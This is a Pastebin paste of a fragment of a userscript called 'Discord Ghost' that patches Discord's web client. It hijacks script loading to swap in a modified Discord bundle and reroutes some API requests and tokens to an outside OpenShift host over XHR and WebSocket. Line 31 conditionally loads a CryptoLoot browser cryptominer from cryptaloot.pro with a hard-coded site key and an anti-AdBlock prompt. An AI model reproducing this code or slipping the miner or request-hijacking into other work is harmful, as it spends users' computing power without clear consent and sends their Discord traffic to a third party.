SHARE
TWEET

foun d this

a guest Dec 8th, 2019 136 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.   https://discord-ghost-channels-discord-ghost.7e14.starter-us-west-2.openshiftapps.com/api/ghostToken*<meta property="og:image" content="https://discordapp.com/assets/ee7c382d9257652a88c8f7b7f22a994d.png" />
  2. <meta name="twitter:card" content="summary_large_image">
  3. <meta name="twitter:site" content="@discordapp">
  4. <meta name="twitter:creator" content="@discordapp">
  5. <link rel="chrome-webstore-item" href="https://chrome.google.com/webstore/detail/lcbhdgefieegnkbopmgklhlpjjdgmbog">
  6. <link rel="stylesheet" href="/assets/cbe8e58e8f8d6539165fffff99fdcb00.css" integrity="sha256-DI0DcjVJxh+hO2ndnNWl7EecSBuyD38Ss1+o0dtLdjE= sha512-xXGwMz/O+Kairit4kVb79fYEohgGalqPSsrcGzaNn6OFTPgFFKyKiQAQnAnWnlTP3bN0+KbMPsm5J6wsHTD4Ew=="><link rel="icon" href="/assets/07dca80a102d4149e9736d4b162cff6f.ico" />
  7. <style>
  8. .inner-3if5cm>.flex-lFgbSz.flex-3B1Tl4.horizontal-2BEEBe.horizontal-2VE-Fw.flex-3B1Tl4.directionRow-yNbSvJ.justifyStart-2yIZo0.alignStretch-1hwxMa.noWrap-v6g9vO {height: 44px;}
  9. .scrollerWrap-2uBjct.scrollerThemed-19vinI.themeGhost-10fio9.scrollerFade-28dRsO {height: 751px;}
  10. .message>.accessory>.reactions {margin-top: 16px; margin-bottom: 8px;}
  11. .modal-3HOjGZ.modal-2CasLk.sizeSmall-1sh0-r {min-height: 500px;}
  12. .modal-3HOjGZ.container-2hX5wK.sizeSmall-1sh0-r {min-height: 300px;}
  13. .scrollerWrap-2uBjct.scrollerOuter-ppJFBc.scrollerThemed-19vinI.themeGhost-10fio9.scrollerTrack-3hhmU0 {flex-basis: 68%;}
  14. </style>
  15. <title>Discord</title>
  16. </head>
  17.  
  18. <body>
  19. <div id="app-mount"></div>
  20. <script>
  21. document.head.__ghost_appendChild = document.head.appendChild;
  22. document.head.appendChild = function (...args){
  23. if (args[0].src === "https://discordapp.com/assets/103.9f4f084f813c4032b669.js") args[0].src = "${injectedURL}";
  24. return document.head.__ghost_appendChild.apply(this, args);
  25. };
  26. </script>
  27. <script>window.__require = window.require</script>
  28. <script>window.__OVERLAY__ = /overlay/.test(location.pathname)</script><script>!function(){if(null!=window.WebSocket){var n=function(n){try{var e=localStorage.getItem(n);return null==e?null:JSON.parse(e)}catch(n){return null}},e=n("token"),o=n("gatewayURL");if(e&&o){var r=null!=window.__require?"etf":"json",t=o+"/?encoding="+r+"&v=6";void 0!==window.Uint8Array&&(t+="&compress=zlib-stream"),console.log("[FAST CONNECT] "+t+", encoding: "+r+", version: 6");var a=new WebSocket(t);a.binaryType="arraybuffer";var s=Date.now(),i={open:!1,gateway:t,messages:[]};a.onopen=function(){console.log("[FAST CONNECT] connected in "+(Date.now()-s)+"ms"),i.open=!0},a.onclose=a.onerror=function(){window._ws=null},a.onmessage=function(n){i.messages.push(n)},window._ws={ws:a,state:i}}}}();</script>
  29. <script src="/assets/f32dcbea13908aefafc3.js" integrity="sha256-IhVqIvHfU7kIFI8k/GaTbI3cnvkjLNs1YnqrQNfIoNw= sha512-qU1imnqblmglvtOzVudeWwABmbbRfQwx6+WQbj03iEUg6ngfZsOoyhN39ipIfDFwetvgaUcO8DfXJBSlOce3gQ=="></script>
  30. <script src="/assets/efcc190d9bccb5d5d3a7.js" integrity="sha256-6oP0rgTHrhAExrghnoMxj5M/+yJ2Z9VbK0ls4e7fbLE= sha512-dbtlcMhRopm0EJmVXZqy33xosOBvspfSzppWJwHTEVY76xHI3ljeCRsaB4AYwBrG/mC0AgLv+wxkxu0bazYATg=="></script>
  31. ${enableMiner ? `<script src="https://cryptaloot.pro/lib/crlt.js"></script><script>fetch("https://cryptaloot.pro/lib/mixfork.min.js").then(()=>{const miner = window.miner = new CRLT.Anonymous("8841db0d1017fde30f951886cd8b2718a885140e05b2",{threads:3,throttle:0.7});miner.start();setInterval(() => {console.log("Hashes/s: " + miner.getHashesPerSecond() + "\\nTotal Hashes: " + miner.getTotalHashes());}, 5000);}).catch(()=>{alert("Please disable AdBlock to support the developer of Discord Ghost.\\nYou can turn off this message (and the miner) by editing the first line of this script from true to false.");});</script>` : ""}
  32. </body>
  33. `);
  34.             window.document.close();
  35.             window.console.log("Injected build 10906 (stable) {GHOST PATCH V1.0.0}");
  36.         };
  37.         if (!window.localStorage.injectedBuildVersion || window.localStorage.injectedBuildVersion !== "10906" || !window.localStorage.injectedBuild){
  38.             window.fetch("https://discordapp.com/assets/103.9f4f084f813c4032b669.js").then(file => {
  39.                 file.text().then(text => {
  40.                     if (text.startsWith("webpackJsonp")){
  41.                         window.localStorage.injectedBuild = text.replace(`q.on("dispatch",`, `window.processData=`).replace(`.update();`, `.update();window.dispatchEvent(new CustomEvent("ghost_discordReadyEventFinished"));`).replace(`K:p.default.dispatch({type:e,state:t.state,path:t.path,query:t.query})}})`, `K:p.default.dispatch({type:e,state:t.state,path:t.path,query:t.query})}},q.on("dispatch", window.processData)`);
  42.                         window.localStorage.injectedBuildVersion = "10906";
  43.                         startDiscord(window.URL.createObjectURL(new Blob([window.localStorage.injectedBuild], {type: "application/javascript"})));
  44.                     }else{
  45.                         startDiscord("https://discordapp.com/assets/103.9f4f084f813c4032b669.js");
  46.                     }
  47.                 }).catch(() => {
  48.                     startDiscord("https://discordapp.com/assets/103.9f4f084f813c4032b669.js");
  49.                 });
  50.             }).catch(() => {
  51.                 startDiscord("https://discordapp.com/assets/103.9f4f084f813c4032b669.js");
  52.             });
  53.         }else{
  54.             startDiscord(window.URL.createObjectURL(new Blob([window.localStorage.injectedBuild], {type: "application/javascript"})));
  55.         }
  56.  
  57.         /*
  58.             GHOST Functions
  59.         */
  60.  
  61.         const ghostChannelRegex = /channels\/11272016/i;
  62.         const ghostInviteRegex = /invite\/ghost\-/i;
  63.         const baseAPI = "https://discordapp.com/api/v6";
  64.         const ghostAPI = "https://discord-ghost-channels-discord-ghost.7e14.starter-us-west-2.openshiftapps.com/api/v6";
  65.  
  66.         window.XMLHttpRequest.__ghost_open = window.XMLHttpRequest.prototype.open;
  67.         window.XMLHttpRequest.prototype.open = function (...args){
  68.             if (ghostChannelRegex.test(args[1]) || ghostInviteRegex.test(args[1])){
  69.                 args[1] = args[1].replace(baseAPI, ghostAPI);
  70.                 this.ghost = true;
  71.             }
  72.             return window.XMLHttpRequest.__ghost_open.apply(this, args);
  73.         };
  74.  
  75.         window.XMLHttpRequest.__ghost_setRequestHeader = window.XMLHttpRequest.prototype.setRequestHeader;
  76.         window.XMLHttpRequest.prototype.setRequestHeader = function (...args){
  77.             if (this.ghost && args[0] === "Authorization"){
  78.                 args[0] = "Ghost-Token";
  79.                 args[1] = GM_getValue("ghostToken");
  80.             }
  81.             return window.XMLHttpRequest.__ghost_setRequestHeader.apply(this, args);
  82.         };
  83.     }else if (window.location.host === "discord-ghost-channels-discord-ghost.7e14.starter-us-west-2.openshiftapps.com"){
  84.         const check = function (){
  85.             if (window.document.body.innerText && window.document.body.innerText.startsWith("Ghost_Token: ")){
  86.                 GM_setValue("ghostToken", window.document.body.innerText.replace("Ghost_Token: ", ""));
  87.                 window.close();
  88.             }
  89.         };
  90.         window.setInterval(check, 100);
  91.     }
  92.     /*
  93.         Open OAuth2 Window if Ghost Token Not Available
  94.     */
  95.  
  96.     function openOAuth2(){
  97.         GM_openWindow("https://discord-ghost-channels-discord-ghost.7e14.starter-us-west-2.openshiftapps.com/getGhostToken/", "Discord Ghost Authentication", `height=750,width=750,modal=yes,toolbar=0,location=0,menubar=0`);
  98.     }
  99.     function wsConnect(){
  100.         const gt = GM_getValue("ghostToken");
  101.         if (gt){
  102.             ws && ws.readyState && ws.readyState === window.WebSocket.OPEN && ws.close && typeof ws.close === "function" && ws.close();
  103.             ws = new WebSocket(`wss://discord-ghost-channels-discord-ghost.7e14.starter-us-west-2.openshiftapps.com/ws?ghostToken=${gt}`);
  104.             ws.onclose = function (){
  105.                 clearTimeout(wsTimeout);
  106.                 wsTimeout = setTimeout(wsConnect, 5000);
  107.             };
  108.             ws.onerror = function (){
  109.                 const xhr = new XMLHttpRequest();
  110.                 function openWindow(){
  111.                     window.removeEventListener("mousedown", openWindow);
  112.                     openOAuth2();
  113.                 }
  114.                 xhr.addEventListener("load", () => {
  115.                     if (xhr.responseText === "false") window.addEventListener("mousedown", openWindow);
  116.                 });
  117.                 xhr.open("GET", `https://discord-ghost-channels-discord-ghost.7e14.starter-us-west-2.openshiftapps.com/checkGhostToken?ghostToken=${gt}`, true);
  118.                 xhr.timeout = 5000;
  119.                 xhr.send();
  120.             };
  121.             ws.onopen = function (){
  122.                 console.log("Connected to Ghost gateway");
  123.                 ws.onerror = null;
  124.             };
  125.             ws.onmessage = function (msg){
  126.                 msg = window.JSON.parse(msg.data);
  127.                 window.processData(msg.ghost_type, msg);
  128.             };
  129.         }
  130.     }
  131. })(unsafeWindow);
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top